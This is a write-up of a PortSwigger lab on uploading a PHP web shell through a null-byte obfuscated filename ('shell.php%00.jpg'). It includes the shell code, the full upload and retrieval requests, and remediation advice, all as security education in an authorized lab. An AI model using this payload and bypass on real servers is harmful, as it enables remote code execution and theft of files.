September 25, 2026
PortSwigger Lab: Web shell upload via obfuscated file extension
Lab Information:

By sa0k0
4 min read
Lab Information:
- Vulnerability Location: Web shell upload via obfuscated file extension
- Difficulty: Apprentice
- Objective: Exfiltrate the file
/home/carlos/secretusing a web shell. - Tools: Burp Suite
- Provided Credentials:
wiener:peter
Introduction
In this lab, the application blacklists dangerous file extensions, but the check can be bypassed with a classic obfuscation technique: injecting a null byte into the filename. I show how I used a URL-encoded null byte plus a .jpg extension to slip a PHP web shell past the blacklist and read a sensitive file.
This write-up covers the reconnaissance, the exploitation steps, the root cause, the real-world impact, and how to prevent it.
Reconnaissance:
Lab Description Lookup:
The lab description says that the application has an image upload function, same as the previous file upload labs. But this time it also says that this protection can be bypassed with an obfuscation technique.
With Burp running, I navigated directly to /my-account and logged in using the credentials provided by the lab (wiener:peter).
Once logged in, I found a function to upload a profile image — probably the one mentioned in the lab description.
Exploitation:
Step 1: Test whether the image upload function accepts a web shell
I created a file called shell.php with the following content:
<?php echo file_get_contents('/home/carlos/secret'); ?><?php echo file_get_contents('/home/carlos/secret'); ?>file_get_contentsis a PHP function that reads the contents of a file into a string./home/carlos/secretis the file indicated in the lab description.
Then I tried to upload the file through the avatar upload function:
HTTP/2 403 Forbidden
Date: Thu, 24 Sep 2026 20:37:25 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>HTTP/2 403 Forbidden
Date: Thu, 24 Sep 2026 20:37:25 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>The server did not accept the .php file, due to the extension validation, as expected.
Step 2: Obfuscate the extension with a null byte
After the failed POST, I tried to obfuscate the extension. I sent the POST request to Burp Repeater and changed the filename to shell.php%00.jpg.
%00 is a URL-encoded null byte (0x00). Many string functions treat a null byte as the end of the string. The extension check sees the .jpg and lets it through, but the underlying filesystem call stops at the null byte, so the file ends up stored as shell.php.
------WebKitFormBoundaryKVKM55XLEQV4mS5b
Content-Disposition: form-data; name="avatar"; filename="shell.php%00.jpg"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryKVKM55XLEQV4mS5b
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryKVKM55XLEQV4mS5b
Content-Disposition: form-data; name="csrf"
iFhVPNUHJmmDCxDWXXirIlEG7JT4UmxX
------WebKitFormBoundaryKVKM55XLEQV4mS5b--------WebKitFormBoundaryKVKM55XLEQV4mS5b
Content-Disposition: form-data; name="avatar"; filename="shell.php%00.jpg"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryKVKM55XLEQV4mS5b
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryKVKM55XLEQV4mS5b
Content-Disposition: form-data; name="csrf"
iFhVPNUHJmmDCxDWXXirIlEG7JT4UmxX
------WebKitFormBoundaryKVKM55XLEQV4mS5b--And this time the file was accepted by the server.
HTTP/2 200 OK
Date: Thu, 24 Sep 2026 20:38:02 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/shell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>HTTP/2 200 OK
Date: Thu, 24 Sep 2026 20:38:02 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/shell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>Notice that the response refers to the file as shell.php: the null byte and the .jpg extension were stripped.
Step 3: Retrieve the shell
After uploading the file, I sent the GET request to the image to Burp Repeater and changed the file name.
GET /files/avatars/shell.php HTTP/2
Host: 0a5400e604d6cbc481ba3ebf0000004a.web-security-academy.net
Cookie: session=prlwuaiTKEJa1V869tg6zh9Knn9qxUHk
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: pt-BR,pt;q=0.9
Sec-Ch-Ua: "Chromium";v="151", "Not=A?Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a5400e604d6cbc481ba3ebf0000004a.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=2, iGET /files/avatars/shell.php HTTP/2
Host: 0a5400e604d6cbc481ba3ebf0000004a.web-security-academy.net
Cookie: session=prlwuaiTKEJa1V869tg6zh9Knn9qxUHk
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: pt-BR,pt;q=0.9
Sec-Ch-Ua: "Chromium";v="151", "Not=A?Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a5400e604d6cbc481ba3ebf0000004a.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=2, iThe answer was the token.
HTTP/2 200 OK
Date: Thu, 24 Sep 2026 20:40:29 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
PLfI255jKJWXuOIooIizABt6SD1VX55r
HTTP/2 200 OK
Date: Thu, 24 Sep 2026 20:40:29 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
PLfI255jKJWXuOIooIizABt6SD1VX55r
Root Cause
The application validated the extension with a blacklist, but did so in a way that was not binary-safe. By inserting a null byte (%00), the validation code saw the harmless .jpg extension and approved the file, while the code that wrote the file stopped reading the name at the null byte and saved it as shell.php.
This is a legacy flaw: null-byte injection was fixed in modern PHP, but the lab is built to reproduce the vulnerable behavior. The underlying mistake — trusting a blacklist and not sanitizing the filename — is still common.
Impact
Once the web shell is on the server and executable, an attacker gains remote code execution (RCE) with the privileges of the web application. In real-world applications, this is a critical vulnerability: an attacker could read arbitrary files, modify or destroy data, install a persistent backdoor, or pivot into internal systems — leading to full server compromise.
Remediation
To prevent this issue, applications should:
- Validate uploaded files server-side using an allow-list of extensions, not a blacklist;
- Sanitize filenames and reject any null bytes or unusual characters;
- Verify the file's content (e.g., MIME type and magic bytes), not just its name;
- Never store user uploads in a location the web server executes — serve them from a separate domain or static storage with scripting disabled;
- Run the application with the least privileges necessary, so that code execution does not immediately grant full access to the system.
Key Takeaways
- Blacklists are fragile; an allow-list is the correct approach.
- Extension checks must be binary-safe — a null byte can truncate the filename.
- The server's response confirms the bypass: the file was stored as
shell.php. - Null-byte injection is a classic technique that still appears in legacy systems.
- Once code execution is achieved, the impact is full server compromise.
References
- PortSwigger — File Upload Vulnerabilities
- PortSwigger — Web shell upload via obfuscated file extension (lab)
- OWASP — Unrestricted File Upload
Disclaimer
This write-up was created for educational purposes only. All testing was performed in an authorized PortSwigger Web Security Academy laboratory environment. Never test systems without explicit authorization.
This article was written with the assistance of artificial intelligence tools for text review, structure, and grammar correction. However, the entire testing process, technical analysis, vulnerability exploitation, and conclusions presented are the sole responsibility of the author and are based on tests performed in a controlled environment provided by the PortSwigger Web Security Academy.